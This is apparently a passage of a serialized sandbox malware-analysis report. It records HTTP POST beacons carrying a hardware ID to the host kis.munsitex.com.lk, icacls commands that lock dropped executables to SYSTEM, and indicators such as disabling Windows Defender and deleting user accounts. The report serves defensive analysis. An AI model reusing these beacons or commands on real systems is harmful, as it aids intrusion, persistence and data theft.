form-data; name="build_id"51f668a2cea2ac24ab653acbae6f6bca------2v0QjBAJMzYiERHEMSPY--" "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----iyeGZV4EeI3H2S4igu3p Cache-Control: no-cache Content-Length: 254" with payload:==> "------iyeGZV4EeI3H2S4igu3pContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------iyeGZV4EeI3H2S4igu3pContent-Disposition: form-data; name="build_id"bfe37e825718e5072b10b3ad73d28e5d------iyeGZV4EeI3H2S4igu3p--" "POST / HTTP/1.1 Host: kis.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----w7lWM3fXQrtIjnvpiLJq Cache-Control: no-cache Content-Length: 254" with payload:==> "------w7lWM3fXQrtIjnvpiLJqContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------w7lWM3fXQrtIjnvpiLJqContent-Disposition: form-data; name="build_id"25285186ddad098e656b60afbd636f36------w7lWM3fXQrtIjnvpiLJq--"a7:T6da,Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\servicehelper.exe" /setowner "SYSTEM"" (UID: 00000000-00006136) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\servicehelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00001964) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\servicehelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00007492) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\windowsruntime.exe" /setowner "SYSTEM"" (UID: 00000000-00005364) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\windowsruntime.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00004520) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\windowsruntime.exe" /remove:d Everyone Administrators" (UID: 00000000-00000816) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\hostmanager.exe" /setowner "SYSTEM"" (UID: 00000000-00000908) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\hostmanager.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00001196) Process "icacls.exe" with commandline "icacls "%USERPROFILE%\\Desktop\\hostmanager.exe" /remove:d Everyone Administrators" (UID: 00000000-00004688) Process "icacls.exe" with commandline "icacls "windowsruntime.exe" /setowner "SYSTEM"" (UID: 00000000-00004992) Process "icacls.exe" with commandline "icacls "windowsruntime.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00006596) Process "icacls.exe" with commandline "icacls "windowsruntime.exe" /remove:d Everyone Administrators" (UID: 00000000-00007472)a8:T1b20,Spawned process "\" (Indicator: \"System.Data.SqlClient\"; Source: \"00000000-00004820.00000000.279859.037B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":3,"id":"string-836","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$84","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve name of the domain controller for the current domain (API string)","description":"Found domain controller discovery API reference: \"DsGetDcName\" in \"00000000-00004008.00000000.279804.0092B000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-904","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve security-related event logs (PowerShell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-647","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: 7z.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to enumerate permission groups in the domain","description":"NetGroupEnum@SAMCLI.DLL at 00000000-00004008-55450-118-0090BDA8\n NetGroupGetInfo@SAMCLI.DLL at 00000000-00004008-55450-119-0090BB73\n NetGroupGetUsers@SAMCLI.DLL at 00000000-00004008-55450-119-0090BB73\n NetUserGetGroups@SAMCLI.DLL at 00000000-00004008-55450-236-0091387F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1069.002","relevance":5,"id":"stream-141","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"hostmanager.exe\" tries to directly access volume data \"Z:\"\n \"servicehelper.exe\" tries to directly access volume data \"Z:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$85","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"\" (Indicator: \"password\"; Source: \"00000000-00005300.00000001.279419.02D20000.00000004.mdmp, 00000000-00005300.00000001.279419.08930000.00000004.mdmp\")\n Found string \"sha1fornonsecretpurposes\" (Indicator: \"secret\"; Source: \"00000000-00005300.00000001.279419.07610000.00000004.mdmp\")\n Found string \"passwordderivebytes\" (Indicator: \"password\"; Source: \"00000000-00005300.00000001.279419.07610000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$91","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"hostmanager.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Uses REG.EXE to query registry keys","description":"Process \"reg.exe\" with commandline \"reg query \"HKU\\\\S-1-5-19\"\" (UID: 00000000-00007820)","origin":"Monitored Target","mitre_attack_id":"T1012","relevance":3,"id":"target-144","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"file/memory contains long string(File: \"nircmd.exe\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00004008.00000000.279804.0092B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete users from a group (API string)","description":"Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDelUser\"; Source: \"00000000-00004008.00000000.279804.0092B000.00000002.mdmp\")\n Found reference to API \"NetGroupDelUser\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00004008.00000000.279804.0092B000.00000002.mdmp\")\n Found reference to API \"NetGroupDel\" (Indicator: \"NetGroupDel\"; Source: \"00000000-00004008.00000000.279804.0092B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-218","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00005300.00000000.278971.00011000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"file/memory contains long string with (Indicator: \"changeserviceconfiga\"; File: \"nircmd.exe\")\n Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyA\" in file \"00000000-00004620.00000001.280787.55531000.00000040.mdmp\"\n Found registry deletion API: \"RegDeleteValueA\" in file \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueA\" in \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00004104.00000000.281597.00DEE000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00004104.00000000.281597.00DEE000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$92","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005300)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 7z.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: windowsruntime.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: NSudoLG.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: nircmd.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$93","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"Found string \"net user \"\" (Indicator: \"net user \"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\"), file/memory contains long string with (Indicator: \"net user \"; File: \"windowsruntime.exe\"), Found string \"net user \"\" (Indicator: \"net user \"; Source: \"00000000-00004820.00000000.279859.04120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"Found string \"Remove-Module\" (Indicator: \"Remove-Module\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-Variable\" (Indicator: \"Remove-Variable\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-PSBreakpoint\" (Indicator: \"Remove-PSBreakpoint\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-PSDrive\" (Indicator: \"Remove-PSDrive\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-ItemProperty\" (Indicator: \"Remove-ItemProperty\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-PSSnapin\" (Indicator: \"Remove-PSSnapin\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Remove-WMIObject\" (Indicator: \"Remove-WmiObject\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"$94","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$95","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00005300.00000000.278971.6FEA1000.00000020.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00005300.00000000.278971.6FEA1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$96","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$97","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to retrieve credential objects (Powershell command string)","description":"Found string \"Get-Credential\" (Indicator: \"Get-Credential\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1003","relevance":1,"id":"string-340","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\n Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00003812.00000000.280750.40017000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to stop a service (Powershell command string)","description":"Found string \"Stop-Service\" (Indicator: \"Stop-Service\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-274","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$98","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate services/features (Powershell command string)","description":"Found string \"Disable-PSBreakpoint\" (Indicator: \"Disable-PSBreakpoint\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Stop-Process\" (Indicator: \"Stop-Process\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")\n Found string \"Disable-PSRemoting\" (Indicator: \"Disable-PSRemoting\"; Source: \"00000000-00005300.00000000.278971.04CB0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-371","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; File: \"3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin\")\n Found reference to API \"SeTcbPrivilege\" (Indicator: \"SeTcbPrivilege\"; Source: \"00000000-00003812.00000000.280750.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"$99","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\" Microsoft Corporation\"\n \"python3.dll\" was detected as \"Microsoft visual C++ vx.x DLL\"\n \"cecho.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"\n \"79b496e502.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"ClrLoader.dll\" was detected as \"Morphine v1.2 (DLL)\"\n \"ClrLoader.dll\" was detected as \"Microsoft visual C# / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"698010e722151808770264da"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"